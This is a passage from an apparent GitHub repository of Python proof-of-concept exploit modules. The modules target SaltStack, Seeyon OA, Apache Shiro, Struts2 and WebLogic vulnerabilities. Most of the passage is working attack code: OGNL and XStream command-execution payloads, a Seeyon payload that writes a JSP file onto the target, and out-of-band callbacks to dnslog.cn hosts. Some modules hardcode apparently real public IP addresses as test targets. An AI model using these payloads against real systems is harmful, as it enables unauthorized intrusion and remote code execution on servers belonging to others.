| dns_servers.append(server) 136 | except Exception as e: 137 | pass 138 | # 子域集生成 139 | def sdbGenerate(self,rdomain): 140 | keepbrute=[] 141 | for s in self.subs: 142 | keepbrute.append(domainClass(rdomain.count('.')+1,s+'.'+rdomain)) 143 | return keepbrute 144 | 145 | 146 | # if __name__ == '__main__': 147 | # target="test.com" 148 | # pocObj=c2Class() 149 | # print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/print.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import os 3 | 4 | class c2Class(object): 5 | def __init__(self): 6 | pass 7 | def c2Func(self,target): 8 | status=1 9 | returnData='%s'%str(target) 10 | return status,returnData 11 | 12 | if __name__ == '__main__': 13 | target='hello' 14 | pocObj=c2Class() 15 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/saltstack/CVE-2020-16846.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | import re 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'SaltStack Shell inject & unauthorized access by salt-api(CVE-2020-16846)' 10 | self.vulsystem= 'SaltStack' 11 | self.vulsystemintro = 'SaltStack是一个分布式运维系统,能够将远程节点维护在一个预定义的状态,能够分布式远程执行命令。' 12 | self.vulversion = '3002 ; 3001.1,3001.2 ; 3000.3,3000.4 ; 2019.2.5,2019.2.6 ; 2018.3.5 ; 2017.7.4,2017.7.8 ; 2016.11.3,2016.11.6,2016.11.10 ; 2016.3.4,2016.3.6,2016.3.8 ; 2015.8.10,2015.8.13 ;' 13 | self.fofa='"salt" && protocol=="https" && port="8000"' 14 | self.findtime='2020-11' 15 | self.cveid='CVE-2020-16846' 16 | self.refer= 'https://paper.seebug.org/1398/#_2\nhttps://blog.csdn.net/qq_37602797/article/details/111502282' 17 | self.bbb='' 18 | self.testisok=True 19 | 20 | if __file__[-3:]=='pyc': 21 | self._file=__file__[:-1] 22 | else: 23 | self._file=__file__ 24 | 25 | self.dnslog='bcch1q.dnslog.cn' 26 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file)) 27 | self.vulpath='/run' # https://192.168.128.129:8000/run 28 | self.headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0', 29 | 'Accept': 'application/x-yaml', 30 | 'Content-Type': 'application/x-www-form-urlencoded'} 31 | self.cmd='/dev/null这样格式的数据 44 | target=target+'/' 45 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 46 | else: 47 | target='https://'+target 48 | try: 49 | url=target.strip('/')+self.vulpath 50 | prefix=self.rc_host.search(url).group() 51 | payload=self.payload.replace('thisIsPrefix',prefix) 52 | # print(payload) 53 | resp=requests.post(url=url,data=payload,headers=self.headers,verify=False,timeout=30) 54 | 55 | if self.flag == resp.status_code and all([f in resp.text for f in self.flag1]): 56 | returnData='%s could be vulnerable.The vuln is %s.'\ 57 | 'The vulnurl is [%s],u can check dnslog in %s'%(target.strip('/'),self.vulname,url,self.dnslog) # 58 | status=1 59 | except Exception as e: 60 | # print(e) 61 | returnData=str(e) 62 | return status,returnData 63 | 64 | if __name__ == '__main__': 65 | target='https://192.168.128.129:8010/' 66 | pocObj=c2Class() 67 | print(pocObj.c2Func(target)) 68 | -------------------------------------------------------------------------------- /pocmodules/seeyon/202012-rce.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import os 4 | import subprocess 5 | import re 6 | requests.packages.urllib3.disable_warnings() 7 | 8 | class c2Class(object): 9 | def __init__(self): 10 | self.vulname = 'Seeyon OA RCE & unauthorized access by ajaxAction(2020-12)' 11 | self.vulsystem= 'Seeyon OA' 12 | self.vulsystemintro = '致远OA是一套办公协同软件。' 13 | self.vulversion = 'V8.0;V7.1、V7.1SP1;V7.0、V7.0SP1、V7.0SP2、V7.0SP3;V6.0、V6.1SP1、V6.1SP2;V5.x' 14 | self.fofa='seeyon' 15 | self.findtime='2020-12' 16 | self.refer= 'https://www.cnblogs.com/potatsoSec/p/14253816.html\nhttps://xz.aliyun.com/t/9010' 17 | self.testisok=True 18 | 19 | if __file__[-3:]=='pyc': 20 | self._file=__file__[:-1] 21 | else: 22 | self._file=__file__ 23 | 24 | self.vulpath='/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip' 25 | self.dnslog='bcqvv0.dnslog.cn' 26 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file)) 27 | self.phpdir='E:\\Problem\\phpstudy\\PHPTutorial\\php\\php-7.2.1-nts\\php.exe' 28 | if 'The PHP Group' not in subprocess.Popen(self.phpdir+' -v',shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read(): 29 | raise Exception('Please set php.exe path in %s'%self._file) 30 | self.phpcode_rce_ping_Dir=os.path.join(os.path.dirname(os.path.abspath(self._file)),'ajaxAction_rce_ping.php') 31 | self.phpcode_rce_ping='''1 , 35 | 'formulaName'=>'test', 36 | 'formulaExpression'=>'String path = "../webapps/seeyon/"; 37 | ProcessBuilder processBuilder = new ProcessBuilder("ping","xxxxxxxxxxxxxxxxxxxxxxxxxxx"); 38 | Process p = processBuilder.start(); 39 | };test();def static xxx(){', 40 | ); 41 | // print_r($arrayNam); 42 | $arrayNam['formulaExpression']=str_replace("xxxxxxxxxxxxxxxxxxxxxxxxxxx",$aaa,$arrayNam['formulaExpression']); 43 | $a= ''; 44 | $b= (Object)array(); 45 | $c= 'true'; 46 | $e=array($arrayNam,$a,$b,$c); 47 | $json = json_encode($e); 48 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json))); 49 | // 解码代码 50 | // $s='string';//arguments值复制到此 51 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s))); 52 | ?>''' 53 | self.phpcode_rce_fu_Dir=os.path.join(os.path.dirname(os.path.abspath(self._file)),'ajaxAction_rce_fu.php') 54 | self.phpcode_rce_fu='''1 , 56 | 'formulaName'=>'test', 57 | 'formulaExpression'=>'String path = "../webapps/seeyon/"; 58 | java.io.PrintWriter printWriter2 = new java.io.PrintWriter(path+"seeyonUpdateCache.jspx"); 59 | String shell = "PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgIHZlcnNpb249IjEuMiI+IDxqc3A6ZGlyZWN0aXZlLnBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbCIgcGFnZUVuY29kaW5nPSJVVEYtOCIgLz4gPGpzcDpzY3JpcHRsZXQ+b3V0LnByaW50KCJFUlIwUiBQQUczIDRPNSIpOyA8L2pzcDpzY3JpcHRsZXQ+IDwvanNwOnJvb3Q+"; 60 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); 61 | String decodeString = new String(decoder.decodeBuffer(shell),"UTF-8"); 62 | printWriter2.println(decodeString); 63 | printWriter2.close(); 64 | };test();def static xxx(){', 65 | ); 66 | // print_r($arrayNam); 67 | $a= ''; 68 | $b= (Object)array(); 69 | $c= 'true'; 70 | $e=array($arrayNam,$a,$b,$c); 71 | $json = json_encode($e); 72 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json))); 73 | // 解码代码 74 | // $s='string';//arguments值复制到此 75 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s))); 76 | ?>''' 77 | with open(self.phpcode_rce_ping_Dir,'w+')as f: 78 | f.writelines(self.phpcode_rce_ping) 79 | with open(self.phpcode_rce_fu_Dir,'w+')as f: 80 | f.writelines(self.phpcode_rce_fu) 81 | self.headers={'User-Agent':'Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)','Upgrade-Insecure-Requests':'1','Content-Type':'application/x-www-form-urlencoded'} 82 | self.rc_host=re.compile('(?<=://).+?(?=[:/])') 83 | self.flag=500 84 | self.flag2=['{"message":null,"code":"','","details":null}'] 85 | self.uploadFile='/seeyon/seeyonUpdateCache.jspx' 86 | self.flag3=200 87 | self.flag4='ERR0R PAG3 4O5' 88 | 89 | 90 | def payloadGenerate(self,prefix): 91 | dnslog=prefix+'.'+self.dnslog 92 | cmd='%s %s %s'%(self.phpdir,self.phpcode_rce_ping_Dir,dnslog) 93 | # print(cmd) 94 | payload=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read() 95 | return 'managerMethod=validate&arguments=%s'%payload 96 | def payloadGenerate2(self): 97 | cmd='%s %s'%(self.phpdir,self.phpcode_rce_fu_Dir) 98 | # print(cmd) 99 | payload=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read() 100 | # print(payload) 101 | return 'managerMethod=validate&arguments=%s'%payload 102 | 103 | def c2Func(self,target): 104 | status=0 105 | returnData='' 106 | if target.startswith(('http://','https://')): 107 | if '/seeyon/' in target: 108 | target=target[:target.index('/seeyon/')] 109 | else: 110 | target='http://'+target 111 | try: 112 | url=target.strip('/')+self.vulpath 113 | # print(url) 114 | prefix=self.rc_host.search(url).group() 115 | # payload=self.payloadGenerate(prefix) 116 | payload=self.payloadGenerate2() 117 | # print(payload) 118 | resp=requests.post(url=url,headers=self.headers,data=payload,verify=False,timeout=4) 119 | # print(resp.text) 120 | if self.flag == resp.status_code and all([f in resp.text for f in self.flag2]): 121 | check_url=target.strip('/')+self.uploadFile 122 | check_resp=requests.get(url=check_url,verify=False) 123 | # print(check_url) 124 | # print(check_resp.text) 125 | if self.flag3 == check_resp.status_code and self.flag4 in check_resp.text: 126 | returnData='%s could be vulnerable.The vuln is %s.'\ 127 | 'The payload is [%s], and the upload file is [%s]'%(target.strip('/'),self.vulname,url,check_url) 128 | status=1 129 | else: 130 | returnData='%s could be vulnerable.The vuln is %s.'\ 131 | 'The payload is [%s].'%(target.strip('/'),self.vulname,url) # 132 | status=1 133 | except Exception as e: 134 | returnData=str(e) 135 | return status,returnData 136 | 137 | if __name__ == '__main__': 138 | target='http://113.108.134.18/seeyon/index.jsp' 139 | pocObj=c2Class() 140 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/seeyon/ajaxAction_rce_fu.php: -------------------------------------------------------------------------------- 1 | 1 , 3 | 'formulaName'=>'test', 4 | 'formulaExpression'=>'String path = "../webapps/seeyon/"; 5 | java.io.PrintWriter printWriter2 = new java.io.PrintWriter(path+"seeyonUpdateCache.jspx"); 6 | String shell = "PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgIHZlcnNpb249IjEuMiI+IDxqc3A6ZGlyZWN0aXZlLnBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbCIgcGFnZUVuY29kaW5nPSJVVEYtOCIgLz4gPGpzcDpzY3JpcHRsZXQ+b3V0LnByaW50KCJFUlIwUiBQQUczIDRPNSIpOyA8L2pzcDpzY3JpcHRsZXQ+IDwvanNwOnJvb3Q+"; 7 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); 8 | String decodeString = new String(decoder.decodeBuffer(shell),"UTF-8"); 9 | printWriter2.println(decodeString); 10 | printWriter2.close(); 11 | };test();def static xxx(){', 12 | ); 13 | // print_r($arrayNam); 14 | $a= ''; 15 | $b= (Object)array(); 16 | $c= 'true'; 17 | $e=array($arrayNam,$a,$b,$c); 18 | $json = json_encode($e); 19 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json))); 20 | // 解码代码 21 | // $s='string';//arguments值复制到此 22 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s))); 23 | ?> -------------------------------------------------------------------------------- /pocmodules/seeyon/ajaxAction_rce_ping.php: -------------------------------------------------------------------------------- 1 | 1 , 5 | 'formulaName'=>'test', 6 | 'formulaExpression'=>'String path = "../webapps/seeyon/"; 7 | ProcessBuilder processBuilder = new ProcessBuilder("ping","xxxxxxxxxxxxxxxxxxxxxxxxxxx"); 8 | Process p = processBuilder.start(); 9 | };test();def static xxx(){', 10 | ); 11 | // print_r($arrayNam); 12 | $arrayNam['formulaExpression']=str_replace("xxxxxxxxxxxxxxxxxxxxxxxxxxx",$aaa,$arrayNam['formulaExpression']); 13 | $a= ''; 14 | $b= (Object)array(); 15 | $c= 'true'; 16 | $e=array($arrayNam,$a,$b,$c); 17 | $json = json_encode($e); 18 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json))); 19 | // 解码代码 20 | // $s='string';//arguments值复制到此 21 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s))); 22 | ?> -------------------------------------------------------------------------------- /pocmodules/shiro/abp.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import os.path 3 | import os 4 | import re 5 | import requests 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'Shiro authentication bypass(..;)(CVE-2020-1957)' 10 | self.vulsystem= 'Shiro' 11 | self.vulsystemintro = 'Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。' 12 | self.vulversion = '<1.5.2' 13 | self.fofa='app="Apache-Shiro"' 14 | self.findtime='2020-03-25' 15 | self.cveid='CVE-2020-1957' 16 | self.refer= r'https://paper.seebug.org/1196/\nhttps://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/' 17 | self.testisok=True 18 | 19 | 20 | self.headers={'Cookie': 'rememberMe=1'} 21 | self.check_shiro='rememberMe=deleteMe' 22 | self.rc_css=re.compile(r'(?<=)') # /css/style.css 23 | self.payload='/.;' 24 | 25 | def c2Func(self,target): 26 | status=0 27 | returnData='' 28 | try: 29 | resq=requests.get(url=target,headers=self.headers,verify=False) 30 | rh=resq.headers 31 | if 'Set-Cookie' in rh and self.check_shiro in rh['Set-Cookie']: 32 | _target=target+'/' 33 | host=target[:target.index('/',len('https://'))] 34 | css_q,css_h=self.rc_css.search(resq.text).group()[1:].split('/',1) # css/style.css css_q:css css_h:style.css 35 | css_q='/'+css_q 36 | css_h='/'+css_h 37 | oldCssPath=host+css_q+css_h 38 | newCssPath=host+css_q+self.payload+css_h 39 | # print(oldCssPath) 40 | # print(newCssPath) 41 | oldCss=requests.get(url=oldCssPath,headers=self.headers,verify=False) 42 | newCss=requests.get(url=newCssPath,headers=self.headers,verify=False) 43 | if oldCss.text==newCss.text: 44 | returnData='%s is vuln(%s), vulpath: %s'%(target,self.vulname,newCssPath) 45 | status=1 46 | # print(run_back) 47 | except Exception as e: 48 | # print(e) 49 | returnData=str(e) 50 | return status,returnData 51 | 52 | 53 | if __name__ == '__main__': 54 | target='http://121.40.147.26:86/login' 55 | pocObj=c2Class() 56 | print(pocObj.c2Func(target)) 57 | -------------------------------------------------------------------------------- /pocmodules/shiro/rce.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import os.path 3 | import os 4 | import requests 5 | 6 | class c2Class(object): 7 | def __init__(self): 8 | self.vulname = 'Shiro RememberMe RCE' 9 | self.vulsystem= 'Shiro' 10 | self.vulversion = '' 11 | self.fofa='app="Apache-Shiro"' 12 | self.refer= '' 13 | self.testisok=True 14 | 15 | self.headers={'Cookie': 'rememberMe=1'} 16 | self.check_shiro='rememberMe=deleteMe' 17 | self.dir=os.path.dirname(os.path.abspath(__file__)) 18 | self.cmd='java -jar "%s\\shiro_tool.jar" '%self.dir 19 | self.flag='can be use' 20 | def c2Func(self,target): 21 | status=0 22 | returnData='' 23 | try: 24 | rh=requests.get(url=target,headers=self.headers,verify=False).headers 25 | if 'Set-Cookie' in rh and self.check_shiro in rh['Set-Cookie']: 26 | # print(rh) 27 | cmd=self.cmd+target 28 | # print(cmd) 29 | run_back=os.popen(cmd).read() 30 | if self.flag in run_back: 31 | returnData='%s is likely to be vulnrable.The vuln is Shiro RememberMe RCE.The payloa is [%s].'%(target,cmd) # 32 | status=1 33 | # print(run_back) 34 | except Exception as e: 35 | # print(e) 36 | returnData=str(e) 37 | return status,returnData 38 | 39 | 40 | if __name__ == '__main__': 41 | target='https://101.132.173.222/login' 42 | pocObj=c2Class() 43 | print(pocObj.c2Func(target)) 44 | -------------------------------------------------------------------------------- /pocmodules/shiro/shiro_tool.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/pocmodules/shiro/shiro_tool.jar -------------------------------------------------------------------------------- /pocmodules/struts2/S2-052.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import sys 4 | import base64 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'S2-052 rce' 10 | self.cveid='CVE-2017-9805' 11 | self.vulsystem= 'Struts2' 12 | self.vulversion = 'Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12' 13 | self.findtime='2017' 14 | self.refer= 'https://github.com/Vancir/s2-052-reproducing/blob/master/exploit.py' 15 | self.testisok=True 16 | 17 | self.vulpath='/orders/3/edit' 18 | self.payload= ''' 19 | 20 | 21 | 22 | 0 23 | 24 | 25 | 26 | 27 | 28 | false 29 | 0 30 | 31 | 32 | 33 | 34 | 35 | bashSSS 36 | -c 37 | ping {0}.{1} 38 | 39 | false 40 | 41 | 42 | 43 | 44 | java.lang.ProcessBuilder 45 | start 46 | 47 | 48 | foo 49 | 50 | foo 51 | 52 | 53 | 54 | 55 | 56 | false 57 | 0 58 | 0 59 | false 60 | 61 | false 62 | 63 | 64 | 65 | 0 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | ''' 75 | self.headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0', 76 | 'Content-Type': 'application/xml'} 77 | self.dnslog='0suqc9.dnslog.cn' 78 | self.flag1=500 79 | self.flag2='java.security.Provider$Service' 80 | 81 | def c2Func(self,target): 82 | status=0 83 | returnData='' 84 | if target.startswith(('http://','https://')): 85 | pass 86 | else: 87 | target='http://'+target 88 | try: 89 | url=target.strip('/')+self.vulpath 90 | data=self.payload.format(base64.b64encode('192.168.3.11:8080').strip('='), 91 | self.dnslog) 92 | resp=requests.post(url=url,headers=self.headers,data=data,timeout=2) 93 | if self.flag1 == resp.status_code or self.flag2 in resp.text: 94 | returnData='%s is bad.The vuln is S2-052 rce (CVE-2017-9805).Please check dnslog in %s'%(target,self.dnslog) 95 | status=1 96 | except Exception as e: 97 | returnData=str(e) 98 | return status,returnData 99 | 100 | if __name__ == '__main__': 101 | target='http://192.168.3.12:8081/' 102 | pocObj=c2Class() 103 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/struts2/s2-057.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | import random 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'S2-057 rce' 10 | self.cveid='CVE-2018-11776' 11 | self.vulsystem= 'Struts2' 12 | self.vulversion = '<= Struts 2.3.34 , Struts 2.5.16' 13 | self.findtime='2018' 14 | self.refer= 'https://github.com/Ivan1ee/struts2-057-exp \n https://github.com/jiguangin/CVE-2018-11776/blob/master/s2-057.py' 15 | self.testisok=True 16 | 17 | self.vulpath='' 18 | self.randint=random.randint(1,1000) 19 | self.payload1= urllib.quote("${"+str(self.randint)+"*"+str(self.randint)+"}") # ognl 20 | self.payload2= urllib.quote("${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}") # ognl 21 | 22 | self.headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0'} 23 | self.flag1=302 24 | self.flag2=str(self.randint*self.randint) 25 | self.flag3='groups=' 26 | 27 | def c2Func(self,target): 28 | status=0 29 | returnData='' 30 | if target.startswith(('http://','https://')): 31 | pass 32 | else: 33 | target='http://'+target 34 | 35 | if target.endswith(('.action')): 36 | # url=target.replace(target.split('/')[-1],self.payload2+'/'+target.split('/')[-1]) 37 | url=target.replace(target.split('/')[-1],self.payload1+'/'+target.split('/')[-1]) 38 | else: 39 | url=target+'/'+self.payload1+'/index.action' 40 | try: 41 | resp=requests.get(url=url,headers=self.headers,allow_redirects=False,verify=False) 42 | # if self.flag1 == resp.status_code and self.flag3 in resp.headers.get('Location'): 43 | if self.flag1 == resp.status_code and self.flag2 in resp.headers.get('Location'): 44 | returnData='%s is bad.The vuln is S2-057 rce (CVE-2018-11776).Vul url is: %s'%(target,url) 45 | status=1 46 | except Exception as e: 47 | returnData=str(e) 48 | return status,returnData 49 | 50 | if __name__ == '__main__': 51 | target='http://192.168.3.12:8082/actionChain1.action' 52 | pocObj=c2Class() 53 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/struts2/s2-061.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | import random 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'S2-061 rce' 10 | self.cveid='CVE-2020-17530' 11 | self.vulsystem= 'Struts2' 12 | self.vulversion = 'Struts 2.0.0 - 2.5.25' 13 | self.findtime='2020' 14 | self.refer= 'https://github.com/Al1ex/CVE-2020-17530' 15 | self.testisok=True 16 | 17 | self.vulparam='id' 18 | self.payload_whoami= '''%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}''' # ognl 19 | self.payload_calc= '''%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("calc.exe")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}''' # 20 | self.payload_id= '''%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}''' # ognl 21 | self.headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0'} 22 | self.flag1=200 23 | self.flag_id='groups=' 24 | 25 | def c2Func(self,target): 26 | status=0 27 | returnData='' 28 | if target.startswith(('http://','https://')): 29 | pass 30 | else: 31 | target='http://'+target 32 | 33 | if target.endswith(('.action')): 34 | url=target+'?'+self.vulparam+'='+self.payload_id 35 | else: 36 | url=target+'/index.action' 37 | try: 38 | params = {self.vulparam:self.payload_id} 39 | resp=requests.get(url=url,params=params,headers=self.headers,verify=False) 40 | if self.flag1 == resp.status_code and self.flag_id in resp.text: 41 | returnData='%s is bad.The vuln is S2-061 rce (CVE-2020-17530).Vul url is: %s'%(target,resp.url) 42 | status=1 43 | except Exception as e: 44 | returnData=str(e) 45 | return status,returnData 46 | 47 | if __name__ == '__main__': 48 | target='http://192.168.3.16:8085' 49 | pocObj=c2Class() 50 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/weblogic/CVE-2019-2725-w12.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import sys 4 | import base64 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'weblogic 12 rce(CVE-2019-2725)' 10 | self.cveid='CVE-2019-2725' 11 | self.vulsystem= 'weblogic' 12 | self.vulversion = '10.*; 12.1.3' 13 | self.findtime='2019-4' 14 | self.fofa='app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"' 15 | self.refer= 'https://www.77169.net/html/260737.html\nhttps://zhuanlan.zhihu.com/p/345449257' 16 | self.testisok=False 17 | 18 | self.vulpath='/_async/AsyncResponseService' 19 | self.javace='ping thplia.dnslog.cn' 20 | self.payload= '''xxxxorg.slf4j.ext.EventData%s'''%self.htmlescape(self.javace) 21 | # print(self.payload) 22 | self.headers={'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)', 23 | 'Content-Type': 'text/xml', 24 | 'Accept-Encoding': 'gzip, deflate', 25 | 'SOAPAction':''} 26 | self.flag='Welcome to the {http://www.bea.com' 27 | self.flag1=200 28 | self.flag2=0 29 | 30 | def htmlescape(self,str): 31 | escapeStr='' 32 | for c in str: 33 | escapeStr=escapeStr+'&#%s;'%(hex(ord(c))[2:]) 34 | return escapeStr 35 | 36 | def c2Func(self,target): 37 | status=0 38 | returnData='' 39 | try: 40 | if target.startswith(('http://','https://')): 41 | # 这是为了拿到 这样格式的数据 42 | target=target+'/' 43 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 44 | else: 45 | target='http://'+target 46 | url=target.strip('/')+self.vulpath 47 | resp=requests.get(url=url,verify=False,timeout=5) 48 | if self.flag in resp.content: 49 | resp=requests.post(url=url,headers=self.headers,data=self.payload,verify=False,timeout=5) 50 | if self.flag1 == resp.status_code: 51 | print(resp.content) 52 | if self.flag1 == resp.status_code and self.flag2 == len(resp.content): 53 | returnData='%s is vuln(%s), vulnpath: %s'%(target,self.vulname,url) 54 | status=1 55 | except Exception as e: 56 | returnData=str(e) 57 | return status,returnData 58 | 59 | if __name__ == '__main__': 60 | target='https://42.194.226.30:5050' 61 | pocObj=c2Class() 62 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/weblogic/CVE-2020-14882.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | import re 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'weblogic authencation bypass(CVE-2020-14882)' 10 | self.cveid='CVE-2020-14882' 11 | self.vulsystem= 'weblogic' 12 | self.vulversion = '10.3.6.0; 12.1.3.0; 12.2.1.3; 12.2.1.4; 14.1.1.0' 13 | self.findtime='2020-10' 14 | self.fofa='app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"' 15 | self.refer= 'https://blog.csdn.net/weixin_41598660/article/details/109409965' 16 | self.bbb='未授权访问' 17 | self.testisok=True 18 | 19 | self.headers={'User-Agent': 'Mozilla/5.0'} 20 | 21 | self.vulpath='/console/css/%252e%252e%2fconsole.portal' 22 | self.flag=200 23 | 24 | 25 | def c2Func(self,target): 26 | status=0 27 | returnData='' 28 | if target.startswith(('http://','https://')): 29 | # 这是为了拿到 这样格式的数据 30 | target=target+'/' 31 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 32 | else: 33 | target='http://'+target 34 | try: 35 | url=target.strip('/')+self.vulpath 36 | resp=requests.get(url=url,headers=self.headers,verify=False,timeout=5) 37 | # resp_content=str(resp.content) 38 | if self.flag == resp.status_code: 39 | returnData='%s is vuln(%s), vulpath:%s'%(target,self.vulname,url) 40 | status=1 41 | except Exception as e: 42 | # print(e) 43 | returnData=str(e) 44 | return status,returnData 45 | 46 | if __name__ == '__main__': 47 | target='http://192.168.199.137:7001/' 48 | pocObj=c2Class() 49 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/weblogic/CVE-2020-14883-w12.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import sys 4 | import re 5 | import socket 6 | requests.packages.urllib3.disable_warnings() 7 | 8 | class c2Class(object): 9 | def __init__(self): 10 | self.vulname = 'weblogic authencation bypass to rce(CVE-2020-14883)' 11 | self.cveid='CVE-2020-14883' 12 | self.vulsystem= 'weblogic' 13 | self.vulversion = '10.3.6.0; 12.1.3.0; 12.2.1.3; 12.2.1.4; 14.1.1.0' 14 | self.findtime='2020-10' 15 | 